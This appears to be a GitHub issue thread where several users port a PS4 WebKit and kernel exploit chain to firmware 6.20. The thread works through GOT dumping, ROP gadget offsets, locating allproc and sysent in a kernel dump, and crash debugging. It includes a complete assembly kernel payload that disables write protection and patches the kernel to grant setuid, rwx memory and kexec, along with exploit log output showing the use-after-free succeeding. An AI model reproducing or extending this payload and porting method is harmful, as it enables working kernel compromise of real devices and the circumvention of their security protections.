6.20 port?

[LightningMods]

I have successfully ported Mira(w hen) to 6.20, but the current exploit used on 6.20 breaks rootvnode/open , I tried to build your exploit but it doesn't want to work for me

I can provide you with everything you need to port, modules, kernel dump and offsets already ported

Please reply to this comment or tag me on

Discord: https://discord.me/dks

Or tag me in a post on Twitter

https://twitter.com/LightningMods_?s=09

[PaulJenkin]

I have successfully built this exploit in my machine.
if you are good i can help you with that

[LightningMods]

@PaulJenkin sure , join my discord or send me a friends request on discord LM#6820
or tag me on twitter https://twitter.com/LightningMods_

[sleirsgoevy]

Just in case, the checklist to port the toolchain (my implementation of bad_hoist + retargeted shinh/8cc) to another firmware:

1. If the exploit.js crashes, look at the comments inside it.
2. The GOT offset, relative to textarea's leaked virtual method, is hardcoded in bad_hoist/memserver/dump_module.py, bad_hoist/dumpers/dump_got.js, and bad_hoist/rop/rop.js. You'll need to replace them with the correct offset.
3. GOT indices corresponding to specific system modules are hardcoded in bad_hoist/memserver/Makefile and bad_hoist/rop/rop.js. You'll need to change them accordingly.
4. Offsets to some libc & libkernel functions (relative to the corresponding GOT entries) are hardcoded in bad_hoist/rop/rop.js.
5. The "pivot gadget" is expected to be mov rsp, [rdi+0x38] ; pop rdi ; ret. You'll need to rewrite the pivot() code if this gadget doesn't exist.
6. The code expects a specific layout of the register save area utilized by loadall/saveall functions. It is documented in ps4-rop-8cc/ps4/saveall.h. The pivot gadget from above is a part of a proper loadall() function.

Once all of this is fixed, compiling and running ropchains should work, unless some gadgets are missing on 6.20.

[PaulJenkin]

@LightningMods
I have Sent you a Friend request on discord my id SamJ87#3714

[PaulJenkin]

@sleirsgoevy
We tried to degub the dump_module.py, dump_got.js it looks like you are using 0x18 as a base pointer to read the text. will you be able to provide the offset for 6.20

Note:

1. At present we are able to connect to dump webkit.
2. it loops through 25 mb and at the end its not writing anything

[LightningMods]

I will also like to share with you @sleirsgoevy all the files needed

FULL 6.20 Fs with modules, decrypted

https://psarchive.darksoftware.xyz/6.20-FS.zip

6.20 kernel

https://cdn.discordapp.com/attachments/742234482333188258/742235072463241287/Kernel_Dump_620-1.zip

6.20 kernel offsets
https://github.com/OpenOrbis/mira-project/blob/master/kernel/src/Utils/Kdlsym/Orbis620.hpp

[sleirsgoevy]

We tried to degub the dump_module.py, dump_got.js it looks like you are using 0x18 as a base pointer to read the text. will you be able to provide the offset for 6.20

This offset was copy-pasted from a 6.20 webkit exploit, so it is the same. I mean, it's the .text offsets are probably different.

[sleirsgoevy]

2. it loops through 25 mb and at the end its not writing anything

The script is not able to differentiate between a network hangup and a browser crash, so it expects you to press Enter once you see the blue screen of webkit death.

[LightningMods]

@sleirsgoevy how do we get these offsets address for libc and libkernel

../dumps/libc.bin:
	mkdir -p ../dumps
	echo 'Estimated download size: 1.2 MB'
	python3 dump_module.py 582 ../dumps/libc.bin

../dumps/libkernel.bin:
	mkdir -p ../dumps
	echo 'Estimated download size: 300 KB'
	python3 dump_module.py 705,-0x10000 ../dumps/libkernel.bin

as on 6.20 using those addresses gives us way over 1.2mbs and 300kb (it never stops) so they are not correct

[sleirsgoevy]

This was going to be a huge comment, but I decided to upload it as a document instead.

[LightningMods]

@sleirsgoevy hello i looked at my dump and did as it says but i cant find anything close to this

callq  ffffffffff2bf176 <__bss_start+0xfffffffffd9b4176>
callq  ffffffffff65df97 <__bss_start+0xfffffffffdd52f97>
callq  ffffffffff667308 <__bss_start+0xfffffffffdd5c308> <-- probably the start of the GOT
callq  ffffffffff667318 <__bss_start+0xfffffffffdd5c318>
callq  ffffffffff667338 <__bss_start+0xfffffffffdd5c338>
callq  ffffffffff667348 <__bss_start+0xfffffffffdd5c348>
callq  ffffffffff667358 <__bss_start+0xfffffffffdd5c358>
callq  ffffffffff667368 <__bss_start+0xfffffffffdd5c368>
callq  ffffffffff667378 <__bss_start+0xfffffffffdd5c378>
callq  ffffffffff667388 <__bss_start+0xfffffffffdd5c388>
callq  ffffffffff667408 <__bss_start+0xfffffffffdd5c408>
callq  ffffffffff667418 <__bss_start+0xfffffffffdd5c418>```



i have no __bss_start+xxxxx, mine only looks like this



```addr32 callq 187f5e0 <__bss_start-0x3a5a1f>
addr32 callq c1a0d66 <_end+0xa57bd66>
addr32 callq ffffffffaf1765f6 <_end+0xffffffffad5515f6>
addr32 callq ffffffffd5754ac6 <_end+0xffffffffd3b2fac6>
addr32 callq ffffffffe6970d7a <_end+0xffffffffe4d4bd7a>
addr32 callq fffffffff1c8e8ba <_end+0xfffffffff00698ba>
bnd callq 21540b50 <_end+0x1f91bb50>
bnd callq ffffffffbbe63c0e <_end+0xffffffffba23ec0e>
bnd callq ffffffffe3d953b6 <_end+0xffffffffe21703b6>
bnd callq fffffffff40d1037 <_end+0xfffffffff24ac037>
callq  *0xffffffff9238ffb8
callq  1000620 <__bss_start-0xc249df>
callq  10015b0 <__bss_start-0xc23a4f>```

i also get these from dump_got.js

ptr_0 = 2015d7eb8
ptr_1 = 2055400e8
ptr_2 = 80a7c9de8
ptr_3 = 808efac50

[sleirsgoevy]

You'd need to scroll a bit further down. This "GOT" thing has 8 (at least it was 8 for me) at the end of any address, and is long enough to be noticeable while scrolling through. It's not at the beginning.

EDIT: are you objdump'ing the webkit dumped using the Makefile, or the "decrypted userspace" binaries? That does make difference.

[PaulJenkin]

@sleirsgoevy
As you said we are able to find lines like
callq ffffffff812520be <__bss_start+0xffffffff7f82d0be>....
We used this on the file "dump_got.js" and ran bad hoist stand alone web and was able to produce only
ptr_0 = 2015d7eb8
ptr_1 = 2055400e8
ptr_2 = 80a7c9de8
ptr_3 = 808efac50
from the print statement

Note:
My self and @LightningMods worked on a discord call, if you also can join us in the discord call it will be of great help and a huge relief for us

[LightningMods]

yes i agree with him, it would be very beneficial for you to join a discord call with us @sleirsgoevy that way we can finish this ASAP
just let us know a time and date if you are willing

[PaulJenkin]

need help in converting base address and dumping libc and libkernal

What we have done so far

1. form the objdump, we found the addres which follows similar pattern (0xffffffffff6694c8) we converted it to 10054456
2. with 10054456 we ran the dump_got.js (with helper, exploit..) and obtained around 960 line of address
3. we sorted them and found the below four address where jump was happening
   a. 827021e60 - add1
   b. 82cca4bf0 - add2
   c. 83bfe0bd0 - add3
   d. effffffe00000000 - add4
4. we replaced the 10054456 in dump_got.js
5. after this we converted 827021e60 to 7776 (not sure if this conversion is correct) and tried the below command
   a. python3 dump_module.py 7776 test.bin
   b. we tried incrementing , decrementing 7777,7775
   c. in all the attempts we got BrokenPipeError: [Errno 32] Broken pipe or AssertionError: b'E8\xc4\xc1|\x11'
   d. we tried with all address range as well same result

Also tried with 827021e60 to (7776/16) 486 still we are getting same errors

[sleirsgoevy]

5. How did you get the number 7776? I mean, you should've searched for the address in the original (unsorted) dump, and note the line number it appears on. If you only have ~900 lines you couldn't have got 7776 this way.

Also, the very first address is (obviously) a start of some module too. So with 4 "jumps" you've got the same 5 modules as myself.

[PaulJenkin]

Ok we took the address 827021e60 and did uint16_t hi5 = (1 >> 64) + 0x838fa4000;.
So i understood we need use the lines

will retry withe line number and post the result (all the files i have collected so far) in 1 hours.
Thank you

[PaulJenkin]

I tried Dumping by note the pointer in sorted file with the line number in Unsorted file

Here are my issues

1. i was only able to note 3 jumps i.e 4 block in total
2. when i tried to dump , only 2 of them are less than 25 mb, rest of them went beyond it
3. I have attached the bin files which i have dumped, both of them are around only 500kb

Things which i am not sure

1. i removed the ptr 1, ptr_2,ptr3, corrupted.. and kept only the address in the unsorted file. is that correct?
2. The files which i have dumped are they libc and lib kernel.
3. I only see 4 blocks in the sorted text

Linking all the files

1. Webkit bin - https://www46.zippyshare.com/v/niSpWitU/file.html
2. unsorted text - https://www46.zippyshare.com/v/3wL5fgRw/file.html
3. Sorted Excel sheet - https://www46.zippyshare.com/v/g5osOuU3/file.html
4. bin 1 - https://www46.zippyshare.com/v/1JM2U8GQ/file.html
5. bin 3 - https://www46.zippyshare.com/v/X0p71pl7/file.html

[PaulJenkin]

• Update
  Now i think, i have dumped both lib and libkernal

Libc - https://www84.zippyshare.com/v/NnorJbSz/file.html
Libkernal - https://www84.zippyshare.com/v/mHudPOxF/file.html

Things I did

1. I Ran GOT around 10 time and found the common jumps, look like 6.20 only 4 blocks
2. I aggressively checked (multiple times) on how you got 583 and 705 in 6.72 in my 6.72 machine (i have some question 705 though which i will create a separate thread later)

Note:

1. Surprisingly the make file generated code js file as well , didnt check in my ps4 though
   as they have to be regenerated using the 6.20 offset in inline.asm (thanks to @LightningMods, on letting me the steps for replacing )

[PaulJenkin]

@sleirsgoevy
I tired replacing the Offsets in inline.asm file, but only able to replace malloc and temp.
Will you be able to help me in updating it?

Please let me know if you need any files from me

[LightningMods]

6.20 inline.asm

start:
push rdi
push rsi
mov rcx, 256
.malloc_loop:
push rcx
lea r8, [rel start]
mov rax, [r8+4072] ; kernel_base
mov rdi, 0xf8
lea rsi, [rax+0x0155D070] ; M_TEMP
mov rdx, 2 ; M_WAITOK
lea rax, [rax+0x001D9060] ; malloc
call rax
pop rcx
loop .malloc_loop
pop rsi
pop rdi
lea r8, [rel start]
; fix knote
mov rax, [r8+4064] ; real kn_fop
mov [rdi+104], rax
; cleanup
mov r9, [gs:0] ; struct thread
mov r9, [r9+8] ; struct proc
mov r9, [r9+0x48] ; struct filedesc
mov r9, [r9] ; fd_ofiles
mov eax, [r8+4084] ; master_sock
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+16], 0 ; pktinfo
mov eax, [r8+4088] ; overlap_sock
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+104], 0 ; rthdr
mov eax, [r8+4092]
mov r10, [r9+8*rax] ; struct file
mov r10, [r10] ; struct socket
mov r10, [r10+24] ; pcb
mov r10, [r10+280] ; pktopts
mov qword [r10+16], 0 ; pktinfo
; disable kernel WP
cli
mov rax, cr0
or rax, 0x10000
xor rax, 0x10000
mov cr0, rax
; apply patches
mov rax, [r8+4072] ; kernel_base
;; ignore SIGKILL
mov byte [rax+02250E7], 0xeb
;; syscall everywhere
mov dword [rax+0x490], 0
mov qword [rax+0x4b9], 0x19de9
;; mmap rwx (from mira)
mov byte [rax+0x24026D], 0x37
mov byte [rax+0x240270], 0x37
;; mprotect rwx (from mira)
mov word [rax+0x352278], 0x04eb
;; setuid (from mira)
mov byte [rax+ 0x290E2], 0xb8
mov dword [rax+ 0x290E3], 0
;; kexec (syscall #11)
mov qword [rax+0x111F750], 2
lea rcx, [rax+0x1827AC]
mov [rax+0x111E218], rcx
mov rcx, 0x100000000
mov [rax+0x111E238], rcx
; restore kernel WP
mov rax, cr0
or rax, 0x10000
mov cr0, rax
sti
; call the real f_detach
mov rax, [r8+4056] ; real f_detach
jmp rax

;; 0x29287 eb = ignore sigkill```

[PaulJenkin]

@sleirsgoevy

Looks like the GOT dumper was screwed due async call to writing it, Fixed that issue. now got the solid numbers 802 and 598 has to be dumped, will check and post the result here

Question

1. i am not able to get the pthread_create, tried using 802 , -0x1000 and 0x500 , i am only getting Qword in the place where it jumps
2. what information do i have to change in inline asm, or can i leave it the same

[sleirsgoevy]

Regarding the kex part, there are a few offsets that need to be fixed: a series of defines in kex.c, and kernel patch offsets in inline.asm. The only custom (i.e. not present in Mira) patch there is the patch that allows any process to catch SIGSTOP and SIGKILL, and it's not strictly necessary.

[PaulJenkin]

Can you share updated Kex.c and inline.asm for 6.20
I am very new to c and address

The below link has all the information i think
https://github.com/OpenOrbis/mira-project/blob/master/kernel/src/Utils/Kdlsym/Orbis620.hpp

Sorry for asking this , but it would huge help for me

I figured out the dump address
Libc - 598,-0x24000 - Google Drive
Lib kernel - 802,-0x12000 - Google Drive link

[sleirsgoevy]

What I can say right now (without a kernel dump) is the following:

1. The patchset in Patches620.cpp is incomplete and misses some important things (i.e. dynlib_dlsym patch, setuid patch)
2. For kex.c you only need to replace F_DETACH_OFFSET macro with the correct value. This value is used to determine the kernel base. All other addresses are not used in the current exploit.
3. In inline.asm you need to replace M_TEMP and malloc addresses (in the heap spray loop), and fix kernel offsets in kpatches (basically every offset that comes between ; disable kernel WP and ; restore kernel WP. From these patches however only the first one is present in Patches620.cpp

[PaulJenkin]

Lightning mods shared kernel dump
FULL 6.20 Fs with modules, decrypted

https://psarchive.darksoftware.xyz/6.20-FS.zip

6.20 kernel

https://cdn.discordapp.com/attachments/742234482333188258/742235072463241287/Kernel_Dump_620-1.zip

[sleirsgoevy]

1. thr_new syscall wrapper is at 0x16400, and is called from 0x697a. By searching backwards for push %rbp we see that the function starts at 0x6350. That's most probably pthread_create.
2. Regarging get_errno_addr (or whatever it is actually called): thr_new wrapper checks the carry flag after the syscall, and jumps to 0x1640f if it is set. The code at 0x1640f loads the address 0x15f78 into %rcx and jumps to it. The code at 0x15f78 pushes %rax and calls a function at 0xb10. 0xb10 is get_errno_addr.

All offsets are from libkernel_base.

P.S. LightningMods seems to have posted a patched inline.asm here a few comments ago.

[PaulJenkin]

I have figured out how to take all the address and update rop,
Only thing left now is kex.c and inline.asm

If every thing goes well i can share detailed report on how to do it, with some script which make it more easier

[sleirsgoevy]

In kex.c you can see (lines 463-469) that F_DETACH_OFFSET is used to calculate kernel_base from f_detach. You can go another route and do the following:

unsinged long long kernel_base = f_detach & ~4095ull;
while((kread64(&o, victim, kernel_base) & __builtin_gadget_addr("dq 0x00000000ffffffff")) != 0x464c457f)
    kernel_base -= 4096ull;

This code will work on any firmware, given that the kernel base is a) below f_detach b) page aligned (1 page = 4096 bytes) c) contains the bytes 7F 45 4C 46. This is true for all known firmwares.

Now that you have the kernel base, print out the actual value of f_detach - kernel_base and insert it into #define F_DETACH_OFFSET so that you don't need to do this process again.

[PaulJenkin]

Thanks to @sleirsgoevy @LightningMods

Achieved kernal panic
Didnt get a Success though.
Preparing all the details, will post it soon

[PaulJenkin]

Included all the details and script i have used for this.
tomorrow will add a pull request to you porting-guide with all additional information possible

GOT offset Starting Address - 10054536
GOT all offsets Google drive link

Libc address: 599
Libkernal address: 802,-0x12000

rop.js: Google drive link
-------------Rop Details------------------
saveall_addr = libc_base+0xa68
loadall_addr = libc_base+0x4f2c
pivot_addr = libc_base+0x04fa2
infloop_addr = libc_base+0x16ff0
jop_frame_addr = libc_base+0x44310
get_errno_addr_addr = libkernel_base+0xb10
pthread_create_addr = libkernel_base+0x6350;
-----------------End of ROp---------------

syscall.js: Google drive link
syscall2.js: Google drive link

Kex.c: Google drive link
inline.asm: Google drive link
jb - c-code.js file: Google drive link

Self host: Google drive link

-------------Useful Script --------------
finding got base address from webkit elf - Google drive link
GOT dumper with print via php - Google drive link
find address jumps from GOT Dump - Google drive link

[PaulJenkin]

Added the below pull request

1. Porting guide is updated
2. for dumper i have added the print function which uses php as server side to record the value in a sync order
3. Added py script for finding the GOT base address
4. Added py script for finding the base address jumps
5. Added py script for finding the address for rop

One Question
Will it be OK with you, if I create git Repo by cloning this one and updating w.r.t 6.20?

[sleirsgoevy]

I'd be glad to see 6.20 support in the mainline repo. I think it's much better to keep things in one place.

[PaulJenkin]

ok So far the c-code.js create by this process is making kernel panic every time i executed it. No Success at all.
tried around 7 times. not sure what to change, if you are interest in helping out, we can work together

[sleirsgoevy]

UPDATE
I accidentially found two hardcoded kernel offsets in the exploit which were not abstracted out into #defines. This is probably what caused a crash.

The first one is in find_struct_proc and should point to allproc. The second one is 0x111e000 and should point to sysent.

[PaulJenkin]

Can you let me know on how to find these values in 6.20?

[sleirsgoevy]

sysent is 0x111f540 instead of 0x111e000, as was mentioned earlier. To find allproc, the following algorithm can be used:

1. Locate the sys_kill function. Its (absolute) address is written at sysent + 37*48 + 8 == sysent + 0x6f8, remember to subtract the kernel base at the dump time.
2. Locate the killpg1 function. sys_kill first checks whether the PID is positive, then whether it is zero, then whether it is -1; killpg1 is called in the latter case. In the assembly listing (on 6.72) this looks like a test eax, eax ; jle ... (which you follow, as -1 is less than or equal to zero), which jumps to a je ... (which you don't follow, as -1 is not equal to zero). Right after the je instruction there is a check whether eax != -1 (cmp eax, 0xffffffff ; jne ...), which you also don't follow as we're interested in the -1 case. After this check (and some instructions that load arguments into register) there is a jmp instruction that jumps to the call killpg1 instruction. (On 6.72 it's very close to sys_kill; this can be used as a sanity check)
3. Find allproc. The first RIP-relative access killpg1 performs to the allproc_lock, which it locks to avoid a race condition; the third (on 6.72 [and FreeBSD]) is to allproc, whose address is greater by 0x60 bytes.
   P.S. On stock FreeBSD the disassembly listing is different, and this pattern-matching does not work, but the idea is pretty much the same. 6.20 should be much more similar if not identical though.

[PaulJenkin]

I am not sure where to start, will do i have to look for these value in libKernal obj dump?

[sleirsgoevy]

These are not in libkernel, they are in the kernel. And as I've said, you first look up sys_kill inside sysent, then disassemble the kernel and follow a few jumps. If the "kernel base at the time of dumping" causes the problem, it can be obtained by doing readelf -l kernel-dump.elf and subtracting 0x40 from the PHDR base address.

[PaulJenkin]

will you be able to locate it in the below kernel.bin?
https://cdn.discordapp.com/attachments/742234482333188258/742235072463241287/Kernel_Dump_620-1.zip

[PaulJenkin]

The Below is the Readelf Response:

Elf file type is EXEC (Executable file)
Entry point 0x0
There is 1 program header, starting at offset 64

Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000001000 0x0000000000000000 0x0000000000000000
0x00000000067c4000 0x00000000067c4000 R E 0x1000

Section to Segment mapping:
Segment Sections...
00 .text

[sleirsgoevy]

You're readelf'ing the wrong binary. I mean, it is inside the kernel (which is in the Kernel_Dump_620.bin that you posted). It is not in the userspace library libkernel.sprx.
EDIT: The kernel dump is not a real ELF, but a flat memory dump; however it does contain a seemingly-valid ELF header (probably just a leftover from the bootloader), and that's enough for readelf to read it.

[PaulJenkin]

The above Readelf is is the response of the Kernel_Dump_620.elf made from Kernel_Dump_620.bin (objdump -d Kernel_Dump_620.bin >> Kernel_Dump_620.elf)

Will be able to assist please?

[sleirsgoevy]

You'll want to read the original binary blob, not the generated ELF, see the edit. Reading the latter gives you nothing.

[PaulJenkin]

you mean load the Kernel_Dump_620.bin in IDA pro?
I am really not an expert in this, will be able to find this and share?

[sleirsgoevy]

https://asciinema.org/a/9ZpbKZXooQDq1SEvHK4jrCskI

[PaulJenkin]

Thanks for detailed Screen Capture, it was really informative:

I have regenerated the jb file with new kex.c
Tried Couple of time, both time PS4 hanged up, (it dint turn off, but display and PS4 froze).

Attaching the kex.c and inline.asm, Not Sure if some thing else needs to be changed
https://drive.google.com/drive/folders/1_hpdxo9WhO2oXyL_3GOGG4RNcmlkMwqO?usp=sharing

Note:
I have used the inline.asm which we have in the above post also updated the below values in Kex.c
0x22fbcd0 in find_struct_proc
0x111f540 in sysent_base

[sleirsgoevy]

1. sysent_base is not used anywhere, and is a leftover from a failed approach.
2. You don't need to recompile it manually each time. Just use python3 8cc/scripts/run.py /path/to/kex.c.
3. Does it manage to upload logs so you can view them? If it doesn't, try inserting return 0; statements into kex.c at different places (just after find_struct_proc, before closing kqueues, just after closing kqueues, somewhere else) to see what exactly is causing a hangup.
4. Always rerun the exploit a few times to make sure it was not an accidential failure. Back when I was porting that to 6.72, I first thought that the PS4 now has KAISER, as reading userspace pointers from kernel accidentially failed.

[PaulJenkin]

Can you let me know which log file you are refereeing and also how to access them?

[sleirsgoevy]

kex.c has printf calls that print various debug info. It is stored in printf_ans at JS side, and will be automatically uploaded and printed if you run the exploit via 8cc/scripts/run.py.

[PaulJenkin]

The Hang up is happening at below line:

for(int i = 0; i < 256; i++)
close(kq[i]);

output when return 0 is above the for loop:
sidt = 0xfff 0xffffffffc817d5c0
sockets=34944 kqueues=100480
uaf: 0
uaf ok!
overlap_idx = 15
overlap_idx = 23
kevent_addr = 0xffffd0041734f000
pktopts_addr = 0xffffd0041ea2d100
overlap_idx = 20
victim_idx = 39
kernel_base = 0xffffffffc603c000
f_detach = 0xffffffffc63f9330, offset = 0x3bd330
struct_proc = 0xffffd00428a46220
getpid() = 0x3e
jit: 668 524
rx=0x2002b4000 rw=0x200ef8000
page_rx[0] = 0x57

[sleirsgoevy]

I suppose that most probably one of the kernel patches in inline.asm is wrong, as it is hanging inside that. Try commenting out everything between disable kernel WP and enable kernel WP (don't forget to rebuild inline_asm.c and keep the return 0; after the loop, as later code expects kpatches to be present). If this works, then there is an issue with some of the kpatches.

[PaulJenkin]

There is no hang up or poweroff With new inline_asm.c and adding the return 0 before if(!fork())

I am able to see the below output
sidt = 0xfff 0xffffffff886d55c0
sockets=34944 kqueues=100480
uaf: 0
uaf ok!
overlap_idx = 17
overlap_idx = 4
kevent_addr = 0xffffaaa21715a000
pktopts_addr = 0xffffaaa224fd4800
overlap_idx = 22
victim_idx = 101
kernel_base = 0xffffffff86594000
f_detach = 0xffffffff86951330, offset = 0x3bd330
struct_proc = 0xffffaaa217bc2220
getpid() = 0x3e
jit: 637 524
rx=0x20031c000 rw=0x2010b0000
page_rx[0] = 0x57
main() returned 0
7.7.7.8 - - [19/Sep/2020 17:51:45] code 200, message OK
7.7.7.8 - - [19/Sep/2020 17:51:45] "POST / HTTP/1.1" 200

Please let me know on what value changes required inline.asm

[PaulJenkin]

Attaching the last used files
inline.asm
kex.c

https://drive.google.com/drive/folders/1_hpdxo9WhO2oXyL_3GOGG4RNcmlkMwqO?usp=sharing

[sleirsgoevy]

So...

You say that you commented out the kpatches and it started to work. However in your attached files I see inline.asm with all kpatches intact. Does that mean that it finally worked, or you attached the wrong file?

[PaulJenkin]

Attached the wrong file

This is what is happening, if i comment everything between disable kernel WP and enable kernel WP and add a return 0 before if(!fork()). Then there is no Hangup or power off

[sleirsgoevy]

Then just try re-enabling the patches one by one until it hangs again. No rocket science, just a dozen of retries.